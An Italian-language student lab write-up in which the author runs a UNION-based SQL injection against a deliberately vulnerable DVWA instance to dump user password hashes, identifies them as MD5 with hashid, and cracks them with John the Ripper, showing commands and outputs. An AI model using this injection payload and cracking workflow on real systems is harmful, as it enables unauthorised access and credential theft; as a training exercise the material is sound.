

ESERCIZIO S6L4

PASSO 1 HASHING PASSWORD

Entro con la kali sulla dvwa della metà e vado nella sezione sql injection. All'interno digito il comando 1' UNION SELECT user, password FROM users# per ottenere tutte le password contenute nel suo database.

Le password sono codificate in codice hash

Vulnerability: SQL Injection

User ID:

ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: admin

ID: 1' UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/t echtips/sql-injection.html>

Username: admin
Security Level: low
PHPIDS: disabled

Adesso voglio capire la natura del codice e vedere se appartiene alla tipologia MD5.

Per fare questo posso usare il comando a terminale *hashid* "codice" e ottengo questo risultato

```
(kali㉿kali)-[~]
$ hashid 5f4dcc3b5aa765d61d8327deb882cf99
Analyzing '5f4dcc3b5aa765d61d8327deb882cf99'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5
[+] Skype
[+] Snelfru-128
[+] NTLM
[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)
[+] RAdmin v2.x
```

Perfetto, ho avuto la conferma che appartiene al MD5 perchè accanto ha il simbolo +

Potevo anche ottenere la risposta analizzando da me il codice. Il MD5 contiene numeri da 0 a 9 e lettere dalla A alla F con una lunghezza di 32 caratteri come quelli nella DVWA.

Ora che ho capito l'hashing utilizzerò il tool jack the Ripper per estrapolare la password reale degli utenti.

Per farlo creo due file che contengono solo nomi utenti e uno le password MD5

Con i comandi **nano users.txt - nano passowrd.txt**.

```
(kali㉿kali)-[~]
$ nano users.txt

(kali㉿kali)-[~]
$ nano password.txt
```

Ora per poter fare leggere questo file a John devo unire questi due file in uno unico con il seguente comando **paste -d: users.txt password.txt > combined.txt**

Visto che il codice hash MD5 è vecchio e obsoleto, utilizzo una brute de force da john per craccare la password con il seguente comando **john --format=Raw-MD5 --incremental combined.txt**

```
(kali㉿kali)-[~]
$ paste -d: users.txt password.txt > combined.txt

(kali㉿kali)-[~]
$ john --format=Raw-MD5 --incremental combined.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
abc123      (gordonb)
charley     (1337)
password    (admin)
letmein     (pablo)
4g 0:00:00:02 DONE (2026-01-15 08:53) 1.801g/s 1150Kp/s 1150Kc/s 1350KC/s letemish
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

Ora come ci indica il terminale digito il comando **john --show --format=Raw-MD5 combined.txt** per verificare se tutte le password sono state hackerate e mi ha dato 0 password left

```
(kali㉿kali)-[~]
$ john --show --format=Raw-MD5 combined.txt
admin:password
gordonb:abc123
1337:charley
pablo:letmein
smithy:password

5 password hashes cracked, 0 left
```